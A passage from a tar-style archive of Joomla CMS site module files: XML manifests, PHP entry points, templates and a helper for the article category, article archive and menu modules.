					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWAUTHOR_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_tags"
					type="radio"
					label="JTAG"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWTAGS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_introtext"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWINTROTEXT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWINTROTEXT_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="introtext_limit"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_INTROTEXTLIMIT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_INTROTEXTLIMIT_DESC"
					default="100"
					filter="integer"
					showon="show_introtext:1"
				/>

				<field
					name="show_readmore"
					type="radio"
					label="JGLOBAL_SHOW_READMORE_LABEL"
					description="JGLOBAL_SHOW_READMORE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_readmore_title"
					type="radio"
					label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
					description="JGLOBAL_SHOW_READMORE_TITLE_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					showon="show_readmore:1"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="readmore_limit"
					type="number"
					label="JGLOBAL_SHOW_READMORE_LIMIT_LABEL"
					description="JGLOBAL_SHOW_READMORE_LIMIT_DESC"
					default="15"
					filter="integer"
					showon="show_readmore:1[AND]show_readmore_title:1"
				/>

			</fieldset>

			<fieldset name="advanced">

				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_articles_category/mod_articles_category.php000064400000005075150746134710016200 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the helper functions only once
JLoader::register('ModArticlesCategoryHelper', __DIR__ . '/helper.php');

$input = JFactory::getApplication()->input;

// Prep for Normal or Dynamic Modes
$mode   = $params->get('mode', 'normal');
$idbase = null;

switch ($mode)
{
	case 'dynamic' :
		$option = $input->get('option');
		$view   = $input->get('view');

		if ($option === 'com_content')
		{
			switch ($view)
			{
				case 'category' :
					$idbase = $input->getInt('id');
					break;
				case 'categories' :
					$idbase = $input->getInt('id');
					break;
				case 'article' :
					if ($params->get('show_on_article_page', 1))
					{
						$idbase = $input->getInt('catid');
					}
					break;
			}
		}
		break;
	case 'normal' :
	default:
		$idbase = $params->get('catid');
		break;
}

$cacheid = md5(serialize(array ($idbase, $module->module, $module->id)));

$cacheparams               = new stdClass;
$cacheparams->cachemode    = 'id';
$cacheparams->class        = 'ModArticlesCategoryHelper';
$cacheparams->method       = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams   = $cacheid;

$list = JModuleHelper::moduleCache($module, $params, $cacheparams);

if (!empty($list))
{
	$grouped                    = false;
	$article_grouping           = $params->get('article_grouping', 'none');
	$article_grouping_direction = $params->get('article_grouping_direction', 'ksort');
	$moduleclass_sfx            = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');
	$item_heading               = $params->get('item_heading');

	if ($article_grouping !== 'none')
	{
		$grouped = true;

		switch ($article_grouping)
		{
			case 'year' :
			case 'month_year' :
				$list = ModArticlesCategoryHelper::groupByDate(
					$list,
					$article_grouping,
					$article_grouping_direction,
					$params->get('month_year_format', 'F Y'),
					$params->get('date_grouping_field', 'created')
				);
				break;
			case 'author' :
			case 'category_title' :
				$list = ModArticlesCategoryHelper::groupBy($list, $article_grouping, $article_grouping_direction);
				break;
			case 'tags' :
				$list = ModArticlesCategoryHelper::groupByTags($list, $article_grouping_direction);
				break;
			default:
				break;
		}
	}

	require JModuleHelper::getLayoutPath('mod_articles_category', $params->get('layout', 'default'));
}
mod_articles_category/tmpl/default.php000064400000013114150746134710014227 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<ul class="category-module<?php echo $moduleclass_sfx; ?> mod-list">
	<?php if ($grouped) : ?>
		<?php foreach ($list as $group_name => $group) : ?>
		<li>
			<div class="mod-articles-category-group"><?php echo JText::_($group_name); ?></div>
			<ul>
				<?php foreach ($group as $item) : ?>
					<li>
						<?php if ($params->get('link_titles') == 1) : ?>
							<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>">
								<?php echo $item->title; ?>
							</a>
						<?php else : ?>
							<?php echo $item->title; ?>
						<?php endif; ?>

						<?php if ($item->displayHits) : ?>
							<span class="mod-articles-category-hits">
								(<?php echo $item->displayHits; ?>)
							</span>
						<?php endif; ?>

						<?php if ($params->get('show_author')) : ?>
							<span class="mod-articles-category-writtenby">
								<?php echo $item->displayAuthorName; ?>
							</span>
						<?php endif; ?>

						<?php if ($item->displayCategoryTitle) : ?>
							<span class="mod-articles-category-category">
								(<?php echo $item->displayCategoryTitle; ?>)
							</span>
						<?php endif; ?>

						<?php if ($item->displayDate) : ?>
							<span class="mod-articles-category-date"><?php echo $item->displayDate; ?></span>
						<?php endif; ?>

						<?php if ($params->get('show_tags', 0) && $item->tags->itemTags) : ?>
							<div class="mod-articles-category-tags">
								<?php echo JLayoutHelper::render('joomla.content.tags', $item->tags->itemTags); ?>
							</div>
						<?php endif; ?>

						<?php if ($params->get('show_introtext')) : ?>
							<p class="mod-articles-category-introtext">
								<?php echo $item->displayIntrotext; ?>
							</p>
						<?php endif; ?>

						<?php if ($params->get('show_readmore')) : ?>
							<p class="mod-articles-category-readmore">
								<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>">
									<?php if ($item->params->get('access-view') == false) : ?>
										<?php echo JText::_('MOD_ARTICLES_CATEGORY_REGISTER_TO_READ_MORE'); ?>
									<?php elseif ($readmore = $item->alternative_readmore) : ?>
										<?php echo $readmore; ?>
										<?php echo JHtml::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
											<?php if ($params->get('show_readmore_title', 0) != 0) : ?>
												<?php echo JHtml::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
											<?php endif; ?>
									<?php elseif ($params->get('show_readmore_title', 0) == 0) : ?>
										<?php echo JText::sprintf('MOD_ARTICLES_CATEGORY_READ_MORE_TITLE'); ?>
									<?php else : ?>
										<?php echo JText::_('MOD_ARTICLES_CATEGORY_READ_MORE'); ?>
										<?php echo JHtml::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
									<?php endif; ?>
								</a>
							</p>
						<?php endif; ?>
					</li>
				<?php endforeach; ?>
			</ul>
		</li>
		<?php endforeach; ?>
	<?php else : ?>
		<?php foreach ($list as $item) : ?>
			<li>
				<?php if ($params->get('link_titles') == 1) : ?>
					<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>"><?php echo $item->title; ?></a>
				<?php else : ?>
					<?php echo $item->title; ?>
				<?php endif; ?>

				<?php if ($item->displayHits) : ?>
					<span class="mod-articles-category-hits">
						(<?php echo $item->displayHits; ?>)
					</span>
				<?php endif; ?>

				<?php if ($params->get('show_author')) : ?>
					<span class="mod-articles-category-writtenby">
						<?php echo $item->displayAuthorName; ?>
					</span>
				<?php endif; ?>

				<?php if ($item->displayCategoryTitle) : ?>
					<span class="mod-articles-category-category">
						(<?php echo $item->displayCategoryTitle; ?>)
					</span>
				<?php endif; ?>

				<?php if ($item->displayDate) : ?>
					<span class="mod-articles-category-date">
						<?php echo $item->displayDate; ?>
					</span>
				<?php endif; ?>

				<?php if ($params->get('show_tags', 0) && $item->tags->itemTags) : ?>
					<div class="mod-articles-category-tags">
						<?php echo JLayoutHelper::render('joomla.content.tags', $item->tags->itemTags); ?>
					</div>
				<?php endif; ?>

				<?php if ($params->get('show_introtext')) : ?>
					<p class="mod-articles-category-introtext">
						<?php echo $item->displayIntrotext; ?>
					</p>
				<?php endif; ?>

				<?php if ($params->get('show_readmore')) : ?>
					<p class="mod-articles-category-readmore">
						<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>">
							<?php if ($item->params->get('access-view') == false) : ?>
								<?php echo JText::_('MOD_ARTICLES_CATEGORY_REGISTER_TO_READ_MORE'); ?>
							<?php elseif ($readmore = $item->alternative_readmore) : ?>
								<?php echo $readmore; ?>
								<?php echo JHtml::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
							<?php elseif ($params->get('show_readmore_title', 0) == 0) : ?>
								<?php echo JText::sprintf('MOD_ARTICLES_CATEGORY_READ_MORE_TITLE'); ?>
							<?php else : ?>
								<?php echo JText::_('MOD_ARTICLES_CATEGORY_READ_MORE'); ?>
								<?php echo JHtml::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
							<?php endif; ?>
						</a>
					</p>
				<?php endif; ?>
			</li>
		<?php endforeach; ?>
	<?php endif; ?>
</ul>
mod_articles_category/tmpl/default_items.php000060400000005342150746134710015430 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

?>
<?php foreach ($items as $item) : ?>
<li>
	<?php if ($params->get('link_titles') == 1) : ?>
		<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>">
			<?php echo $item->title; ?>
		</a>
	<?php else : ?>
		<?php echo $item->title; ?>
	<?php endif; ?>

	<?php if ($item->displayHits) : ?>
		<span class="mod-articles-category-hits">
			(<?php echo $item->displayHits; ?>)
		</span>
	<?php endif; ?>

	<?php if ($params->get('show_author')) : ?>
		<span class="mod-articles-category-writtenby">
			<?php echo $item->displayAuthorName; ?>
		</span>
	<?php endif; ?>

	<?php if ($item->displayCategoryTitle) : ?>
		<span class="mod-articles-category-category">
			(<?php echo $item->displayCategoryTitle; ?>)
		</span>
	<?php endif; ?>

	<?php if ($item->displayDate) : ?>
		<span class="mod-articles-category-date"><?php echo $item->displayDate; ?></span>
	<?php endif; ?>

	<?php if ($params->get('show_tags', 0) && $item->tags->itemTags) : ?>
		<div class="mod-articles-category-tags">
			<?php echo LayoutHelper::render('joomla.content.tags', $item->tags->itemTags); ?>
		</div>
	<?php endif; ?>

	<?php if ($params->get('show_introtext')) : ?>
		<p class="mod-articles-category-introtext">
			<?php echo $item->displayIntrotext; ?>
		</p>
	<?php endif; ?>

	<?php if ($params->get('show_readmore')) : ?>
		<p class="mod-articles-category-readmore">
			<a class="mod-articles-category-title <?php echo $item->active; ?>" href="<?php echo $item->link; ?>">
				<?php if ($item->params->get('access-view') == false) : ?>
					<?php echo Text::_('MOD_ARTICLES_CATEGORY_REGISTER_TO_READ_MORE'); ?>
				<?php elseif ($item->alternative_readmore) : ?>
					<?php echo $item->alternative_readmore; ?>
					<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
						<?php if ($params->get('show_readmore_title', 0)) : ?>
							<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
						<?php endif; ?>
				<?php elseif ($params->get('show_readmore_title', 0)) : ?>
					<?php echo Text::_('MOD_ARTICLES_CATEGORY_READ_MORE'); ?>
					<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
				<?php else : ?>
					<?php echo Text::_('MOD_ARTICLES_CATEGORY_READ_MORE_TITLE'); ?>
				<?php endif; ?>
			</a>
		</p>
	<?php endif; ?>
</li>
<?php endforeach; ?>
mod_articles_archive/mod_articles_archive.xml000064400000004402150746134710015612 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_articles_archive</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_ARCHIVE_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_articles_archive">mod_articles_archive.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_articles_archive.ini</language>
		<language tag="en-GB">en-GB.mod_articles_archive.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="count"
					type="number"
					label="MOD_ARTICLES_ARCHIVE_FIELD_COUNT_LABEL"
					description="MOD_ARTICLES_ARCHIVE_FIELD_COUNT_DESC"
					default="10"
					filter="integer"
				/>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_articles_archive/mod_articles_archive.php000064400000001210150746134710015573 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the archive functions only once
JLoader::register('ModArchiveHelper', __DIR__ . '/helper.php');

$params->def('count', 10);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');
$list            = ModArchiveHelper::getList($params);

require JModuleHelper::getLayoutPath('mod_articles_archive', $params->get('layout', 'default'));
mod_articles_archive/tmpl/default.php000064400000001031150746134710014026 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php if (!empty($list)) : ?>
	<ul class="archive-module<?php echo $moduleclass_sfx; ?> mod-list">
	<?php foreach ($list as $item) : ?>
	<li>
		<a href="<?php echo $item->link; ?>">
			<?php echo $item->text; ?>
		</a>
	</li>
	<?php endforeach; ?>
</ul>
<?php endif; ?>
mod_articles_archive/src/Helper/ArticlesArchiveHelper.php000060400000005350150746134710017650 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesArchive\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Database\ParameterType;

/**
 * Helper for mod_articles_archive
 *
 * @since  1.5
 */
class ArticlesArchiveHelper
{
	/**
	 * Retrieve list of archived articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$app       = Factory::getApplication();
		$db        = Factory::getDbo();
		$query     = $db->getQuery(true);

		$query->select($query->month($db->quoteName('created')) . ' AS created_month')
			->select('MIN(' . $db->quoteName('created') . ') AS created')
			->select($query->year($db->quoteName('created')) . ' AS created_year')
			->from($db->quoteName('#__content', 'c'))
			->where($db->quoteName('c.state') . ' = ' . ContentComponent::CONDITION_ARCHIVED)
			->group($query->year($db->quoteName('c.created')) . ', ' . $query->month($db->quoteName('c.created')))
			->order($query->year($db->quoteName('c.created')) . ' DESC, ' . $query->month($db->quoteName('c.created')) . ' DESC');

		// Filter by language
		if ($app->getLanguageFilter())
		{
			$query->whereIn($db->quoteName('language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
		}

		$query->setLimit((int) $params->get('count'));
		$db->setQuery($query);

		try
		{
			$rows = (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return [];
		}

		$menu   = $app->getMenu();
		$item   = $menu->getItems('link', 'index.php?option=com_content&view=archive', true);
		$itemid = (isset($item) && !empty($item->id)) ? '&Itemid=' . $item->id : '';

		$i     = 0;
		$lists = array();

		foreach ($rows as $row)
		{
			$date = Factory::getDate($row->created);

			$createdMonth = $date->format('n');
			$createdYear  = $date->format('Y');

			$createdYearCal = HTMLHelper::_('date', $row->created, 'Y');
			$monthNameCal   = HTMLHelper::_('date', $row->created, 'F');

			$lists[$i] = new \stdClass;

			$lists[$i]->link = Route::_('index.php?option=com_content&view=archive&year=' . $createdYear . '&month=' . $createdMonth . $itemid);
			$lists[$i]->text = Text::sprintf('MOD_ARTICLES_ARCHIVE_DATE', $monthNameCal, $createdYearCal);

			$i++;
		}

		return $lists;
	}
}
mod_menu/mod_menu.xml000064400000010544150746134710010710 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_menu</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_MENU_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_menu">mod_menu.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_menu.ini</language>
		<language tag="en-GB">en-GB.mod_menu.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_MENU" />
	<config>
		<fields name="params">
			<fieldset name="basic"
				addfieldpath="/administrator/components/com_menus/models/fields"
			>
				<field
					name="menutype"
					type="menu"
					label="MOD_MENU_FIELD_MENUTYPE_LABEL"
					description="MOD_MENU_FIELD_MENUTYPE_DESC"
					clientid="0"
				/>

				<field
					name="base"
					type="modal_menu"
					label="MOD_MENU_FIELD_ACTIVE_LABEL"
					description="MOD_MENU_FIELD_ACTIVE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
					>
					<option value="">JCURRENT</option>
				</field>

				<field
					name="startLevel"
					type="list"
					label="MOD_MENU_FIELD_STARTLEVEL_LABEL"
					description="MOD_MENU_FIELD_STARTLEVEL_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>

				<field
					name="endLevel"
					type="list"
					label="MOD_MENU_FIELD_ENDLEVEL_LABEL"
					description="MOD_MENU_FIELD_ENDLEVEL_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">JALL</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>

				<field
					name="showAllChildren"
					type="radio"
					label="MOD_MENU_FIELD_ALLCHILDREN_LABEL"
					description="MOD_MENU_FIELD_ALLCHILDREN_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="tag_id"
					type="text"
					label="MOD_MENU_FIELD_TAG_ID_LABEL"
					description="MOD_MENU_FIELD_TAG_ID_DESC"
				/>

				<field
					name="class_sfx"
					type="text"
					label="MOD_MENU_FIELD_CLASS_LABEL"
					description="MOD_MENU_FIELD_CLASS_DESC"
				/>

				<field
					name="window_open"
					type="text"
					label="MOD_MENU_FIELD_TARGET_LABEL"
					description="MOD_MENU_FIELD_TARGET_DESC"
				/>

				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_menu/mod_menu.php000064400000001542150746134710010675 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the menu functions only once
JLoader::register('ModMenuHelper', __DIR__ . '/helper.php');

$list       = ModMenuHelper::getList($params);
$base       = ModMenuHelper::getBase($params);
$active     = ModMenuHelper::getActive($params);
$default    = ModMenuHelper::getDefault();
$active_id  = $active->id;
$default_id = $default->id;
$path       = $base->tree;
$showAll    = $params->get('showAllChildren', 1);
$class_sfx  = htmlspecialchars($params->get('class_sfx', ''), ENT_COMPAT, 'UTF-8');

if (count($list))
{
	require JModuleHelper::getLayoutPath('mod_menu', $params->get('layout', 'default'));
}
mod_menu/tmpl/default_url.php000064400000002742150746134710012357 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$attributes = array();

if ($item->anchor_title)
{
	$attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css)
{
	$attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel)
{
	$attributes['rel'] = $item->anchor_rel;
}

$linktype = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = JHtml::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = JHtml::_('image', $item->menu_image, $item->title);
	}

	if ($item->params->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

if ($item->browserNav == 1)
{
	$attributes['target'] = '_blank';
	$attributes['rel'] = 'noopener noreferrer';

	if ($item->anchor_rel == 'nofollow')
	{
		$attributes['rel'] .= ' nofollow';
	}
}
elseif ($item->browserNav == 2)
{
	$options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $params->get('window_open');

	$attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo JHtml::_('link', JFilterOutput::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
mod_menu/tmpl/default_heading.php000064400000001616150746134710013153 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';

$linktype   = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = JHtml::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = JHtml::_('image', $item->menu_image, $item->title);
	}

	if ($item->params->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

?>
<span class="nav-header <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>
mod_menu/tmpl/default_component.php000064400000002504150746134710013553 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$attributes = array();

if ($item->anchor_title)
{
	$attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css)
{
	$attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel)
{
	$attributes['rel'] = $item->anchor_rel;
}

$linktype = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = JHtml::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = JHtml::_('image', $item->menu_image, $item->title);
	}

	if ($item->params->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

if ($item->browserNav == 1)
{
	$attributes['target'] = '_blank';
}
elseif ($item->browserNav == 2)
{
	$options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

	$attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo JHtml::_('link', JFilterOutput::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
mod_menu/tmpl/default_separator.php000064400000001615150746134710013553 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';

$linktype   = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = JHtml::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = JHtml::_('image', $item->menu_image, $item->title);
	}

	if ($item->params->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

?>
<span class="separator <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>
mod_menu/tmpl/collapse-default.php000060400000001544150746134710013270 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

